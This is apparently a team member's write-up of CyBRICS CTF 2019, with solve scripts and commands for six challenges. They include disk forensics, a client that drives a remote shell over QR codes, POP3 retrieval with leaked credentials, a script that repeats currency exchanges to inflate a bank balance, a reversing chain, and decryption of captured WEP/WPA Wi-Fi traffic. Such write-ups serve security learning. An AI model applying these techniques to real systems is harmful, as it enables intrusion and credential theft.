CTFするぞ

CTF以外のことも書くよ

CyBRICS CTF 2019 Writeup

I played CyBRICS CTF 2019 in zer0pts. Our team got 386pts and reached 69th place. It's not a good result but I really enjoyed the CTF as there were many well-designed challenges.

[Forensics 67pts] Disk Data

Description: Disk dump hides the flag. Obtain it
File: data2.bin

It's a disk dump of the /home directory. I first dumped the contents of .bash_histoy:

ls
ls -anl
bash
su rev
read -r URL
cd Downloads/
wget $URL
eog kTd0T9g.png 
convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png 
eog kTd0T9g.png 
ync
sync
ls -anl
cd Downloads/
wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz
wget https://github.com/geohot/qira/archive/v1.3.zip
unzip v1.3.zip 
ls
tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz

It seems a file named kTd0T9g.png was saved in ~/Downloads. Let's check the file name as there might be the value of $URL.

$ strings data2.bin | grep kTd0T9g.png
...
kTd0T9g.png
https://i.imgur.com/kTd0T9g.png
  <bookmark href="file:///home/ctfer/Downloads/kTd0T9g.png" added="2019-07-19T23:17:33Z" modified="2019-07-19T23:18:14Z" visited="2019-07-19T23:17:33Z">
...

Bingo! The image was still available and that was the flag.

[Cyber 50pts] QShell

Description: QShell is running on nc spbctf.ppctf.net 37338

A QR code is given by the server. I love QR codes.

f:id:ptr-yudai:20190721204109p:plain

The decoded value is sh-5.0$, which means the server just gives us the shell in QR code. I made a simple client which decodes the give QR code and encodes our command in QR code.

from PIL import Image
from pyzbar.pyzbar import decode
import qrcode
from time import sleep
from ptrlib import *

def receive():
    qr = [[]]
    data = sock.recvuntil("\n\n.").rstrip(b'.').rstrip()
    sock.recvline()
    data += b'#'
    offset = 0
    while offset < len(data):
        if data[offset] == 0xe2:
            qr[-1].append(255)
            offset += 3
        elif data[offset] == 0x20:
            qr[-1].append(0)
            offset += 1
        elif data[offset] == 0x0a:
            qr.append([])
            offset += 1
        else:
            break

    image = Image.new('RGB', (len(qr), len(qr[0])), (255, 255, 255))
    size = len(qr)
    for y, line in enumerate(qr):
        for x, c in enumerate(line):
            c = qr[y][x]
            image.putpixel((x, y), (c, c, c))
    image = image.resize((size * 3, size * 3))
    image.save("last.png")

    result = decode(image)
    return result[0][0]

def send(cmd):
    qr = qrcode.QRCode(box_size=1, border=4, version=20)
    qr.add_data(cmd)
    qr.make()
    img = qr.make_image(fill_color="white", back_color="black")

    data = b''
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            r = img.getpixel((x, y))
            if r == (0, 0, 0):
                data += b'\xe2\x96\x88'
            else:
                data += b' '
        data += b'\n'
    data += b'\n.'

    sock.sendline(data)
    return

if __name__ == '__main__':
    sock = Socket("spbctf.ppctf.net", 37338)

    while True:
        print(bytes2str(receive()), end="")
        cmd = input()
        send(cmd)
        
    sock.interactive()

Good!

$ python solve.py 
[+] __init__: Successfully connected to spbctf.ppctf.net:37338
sh-5.0$ ls
1.py
2.py
docker-compose.yml
Dockerfile
flag.txt
log.txt
qweqwe.png
rex.txt
runserver.sh
run.sh

$ python solve.py 
[+] __init__: Successfully connected to spbctf.ppctf.net:37338
sh-5.0$ cat flag.txt
cybrics{QR_IS_MY_LOVE}

[Network 10pts] Sender

Description: We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that. Get us their secret documents
File: intercepted_text.txt

When I tried this challenge, @yoshiking had already found that the username is fawkes and the @assword is Combin4t1onXXY. The given text begins with the following line:

220 ugm.cybrics.net ESMTP Postfix (Ubuntu)

As it seems POP3, I connected to the server with telnet.

$ telnet ugm.cybrics.net 110
Trying 136.244.67.129...
Connected to ugm.cybrics.net.
Escape character is '^]'.
+OK Dovecot ready.
USER fawkes
+OK
PASS Combin4t1onXXY
+OK Logged in.
LIST
+OK 1 messages:
1 138808
.

So, there's only 1 big message with an attachment named secret_flag.zip. Let's retreive it.

from ptrlib import *
import base64

sock = Socket("ugm.cybrics.net", 110)

sock.recvline()
sock.sendline("USER fawkes")
sock.recvline()
sock.sendline("PASS Combin4t1onXXY")
sock.recvline()
sock.sendline("RETR 1")
sock.recvuntil("base64\r\n\r\n")
data = b''
while True:
    data += sock.recv()
    if b'\r\n\r\n' in data:
        data = data[:data.index(b'\r\n\r\n')]
        break

binary = base64.b64decode(data)
with open("secret_flag.zip", "wb") as f:
    f.write(binary)

@yoshiking also had already found the password for the zip file is crack0Weston88vertebra. I just decompressed the zip file with the password and the flag was written in the extracted PDF file.

[Web 50pts] Bitkoff Bank

Description: Need more money! Need the flag!
URL: http://45.77.201.191/index.php (Mirror: http://95.179.148.72:8083/index.php)

It's a cryptocurrency miner. @st98 found that we can ignore the step and the balance increases a bit by exchanging BTC to USD (vice versa). As we need $1 to get the flag, I made a script to increase the balance gradually.

import requests
import re

cookies = {"name": "papyrus", "password": "papyrus123"}
r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies)
rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
usd = rr[0] if rr else 0.0
rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
btc = rr[0] if rr else 0.0

c_from, c_to = "btc", "usd"
while True:
    data = {
        "from_currency": c_from,
        "to_currency": c_to,
        "amount": btc if c_from == 'btc' else usd
    }
    r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data)
    r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies)
    rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
    usd = rr[0] if rr else 0.0
    rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
    btc = rr[0] if rr else 0.0
    print("USD={} / BTC={}".format(usd, btc))
    c_from, c_to = c_to, c_from

And also made a helper script which mines the coin.

import requests
import re

cookies = {"name": "papyrus", "password": "papyrus123"}

while True:
    data = {"mine": 1}
    r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data)
    rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
    usd = rr[0] if rr else 0.0
    rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii"))
    btc = rr[0] if rr else 0.0
    print("USD={} / BTC={}".format(usd, btc))

It took about 10 minutes to gain $1. After that we can get the flag with the following script.

import requests
import re

cookies = {"name": "papyrus", "password": "papyrus123"}
data = {"flag": 1}
r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data)
print(r.text)
r = requests.get("http://95.179.148.72:8083/index.php", cookies=cookies)
print(r.text)

[Reverse 50pts] Matreshka

Description: Matreshka hides flag. Open it.
Files: Code2.class, data.bin

We're given a class file of Java. @theoldmoon0602 found the password for the first stage was lettreha and it gave us an ELF binary made with golang. The binary just prints Fail when I run it. Since I'm not familiar with reverse engineering golang binaries, I used gdb and checked some constraints in order to avoid the fail routine. As I dynamically analysed the binary, I found it xores the folder name in which the binary exists with a key. The key is 38afaaf48c08f84b22c5605fa1576cab and the xored value is compared with \x53\xdd\xc5\x87\xe4\x63\x99\x14\x4f\xa4\x14\x2d\xc4\x24\x04\xc0, which means the correct folder name is kroshka_matreshka. (I guessed the last character as it requires 0x11 bytes even though the xor is applied to the first 0x10 bytes.) Let's make a folder named kroshka_matreshka and put the binary in it.

$ kroshka_matreshka/stage2.bin 
OK, decoding payload...

Good. It creates a file named result.pyc. The following is the decompiled script:

def decode(data, key):
    idx = 0
    res = []
    for c in data:
        res.append(chr(c ^ ord(key[idx])))
        idx = (idx + 1) % len(key)

    return res


flag = [
 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15]
print('Enter key to get flag:')
key = input()
if len(key) != 8:
    print('Invalid len')
    quit()
res = decode(flag, key)
print(''.join(res))

Okay, the last stage is pretty easy. As the key length is 8 bytes and we know the flag begins with cybrics{, we can easily find the key.

from ptrlib import *

cipher = ''.join(list(map(chr, [40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15])))
test = b'cybrics{'

key = xor(test, cipher)
print(xor(cipher, key))

Perfect!

$ python solve.py 
b'cybrics{M4TR35HK4_15_B35T}'

[Network 50pts] Paranoid

Description: My neighbors are always very careful about their security. For example they've just bought a new home Wi-Fi router, and instead of just leaving it open, they instantly are setting passwords! Don't they trust me? I feel offended. Can you give me their current router admin pw?
File: paranoid.pcap

It pcap file is a mix of HTTP packets and IEEE 802.11 streams. There're two HTTP packets with POST methods and one of them posts the new WEP passphrase to the router.

POST /req/wlanApSecurity HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 745
Cache-Control: max-age=0
Authorization: Digest username="admin", realm="KEENETIC", nonce="4304e17cc9ba8af651a012d825b5ef2c", uri="/req/wlanApSecurity", algorithm=MD5, response="1465cdf644d3fbe13622e4bfc5f6a27d", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="f02e829a935d0bd9"
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.1.1/homenet/wireless/security.asp
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: interval=50

WLAN_AP_ENCRYPT_TYPE=2&WLAN_AP_WEP_KEY_INDEX=1&WLAN_AP_WEP_KEY1_FORMAT=1&WLAN_AP_WEP_KEY1=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY2_FORMAT=1&WLAN_AP_WEP_KEY2=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY3_FORMAT=1&WLAN_AP_WEP_KEY3=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY4_FORMAT=1&WLAN_AP_WEP_KEY4=Xi1nvy5KGSgI2&WLAN_AP_AUTH_TYPE=1&WLAN_AP_WEP_ENCRYPT_TYPE=2&WLAN_AP_WEP128_KEY_INDEX=1&WLAN_AP_WEP128_KEY1_FORMAT=1&WLAN_AP_WEP128_KEY1=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY2_FORMAT=1&WLAN_AP_WEP128_KEY2=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY3_FORMAT=1&WLAN_AP_WEP128_KEY3=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY4_FORMAT=1&WLAN_AP_WEP128_KEY4=Xi1nvy5KGSgI2&WEP128_passphrase=&WEP64_passphrase=&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fhomenet%2Fwireless%2Fsecurity.asp

So, the WEP key is 58:69:31:6e:76:79:35:4b:47:53:67:49:32. I first thought the SSID was ZyXEL_KEENETIC_30528 but it was changed to NSA_WIFI_DONT_HACK.

$ aircrack-ng paranoid.pcap 
Opening paranoid.pcap
Read 52725 packets.

   #  BSSID              ESSID                     Encryption

   1  00:0C:43:30:52:88  NSA_WIFI_DONT_HACK        WPA (1 handshake)
...

Let's decrypt the WEP packets.

$ airdecap-ng -e NSA_WIFI_DONT_HACK -w 58:69:31:6e:76:79:35:4b:47:53:67:49:32 paranoid.pcap 
Total number of packets read         52725
Total number of WEP data packets      7434
Total number of WPA data packets      2899
Number of plaintext data packets      2367
Number of decrypted WEP  packets      7434
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0

Nice! The decrypted pcap file has several HTTP packets with POST methods. In the last one has the WPA/PSK passphrase.

POST /req/wlanApSecurity HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 340
Cache-Control: max-age=0
Authorization: Digest username="admin", realm="KEENETIC", nonce="d94f13fb78cb6fba49514f2f2d8e3b88", uri="/req/wlanApSecurity", algorithm=MD5, response="a62ff61b51d90461213672cd1a73bc0c", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="3ef1ff882ce68360"
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.1.1/homenet/wireless/security.asp
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: interval=50

WLAN_AP_ENCRYPT_TYPE=4&WLAN_AP_WPA_PSK=2_RGR_xO-uiJFiAxdA33-PsdanuK&WLAN_AP_AUTH_TYPE=4&WEP128_passphrase=&WEP64_passphrase=&WLAN_AP_WPA_ENCRYPT_TYPE=4&WLAN_AP_WPA_PSK_FORMAT=1&WLAN_AP_WPA_PSK_passphrase=2_RGR_xO-uiJFiAxdA33-PsdanuK&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fhomenet%2Fwireless%2Fsecurity.asp

So, the passphrase is 2_RGR_xO-uiJFiAxdA33-PsdanuK. Let's decrypt the WPA packets.

$ airdecap-ng -e NSA_WIFI_DONT_HACK -p 2_RGR_xO-uiJFiAxdA33-PsdanuK paranoid.pcap 
Total number of packets read         52725
Total number of WEP data packets      7434
Total number of WPA data packets      2899
Number of plaintext data packets      2367
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets      2899

Great! I filtered the POST methods and found the router password.

POST /req/admin HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 223
Pragma: no-cache
Cache-Control: no-cache
Authorization: Digest username="admin", realm="KEENETIC", nonce="95e0cc620c46aa275df78a7a476525e0", uri="/req/admin", algorithm=MD5, response="3bdd17d5660bf8090e9faa74e7f84366", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="416711e8a3dd320a"
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.1.1/system/admin.asp
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: interval=50

ADMIN_NAME=admin&ADMIN_PASSWORD=cybrics%7Bn0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R%7D&PASSWORD_CONFIRM=cybrics%7Bn0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R%7D&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fstatus.asp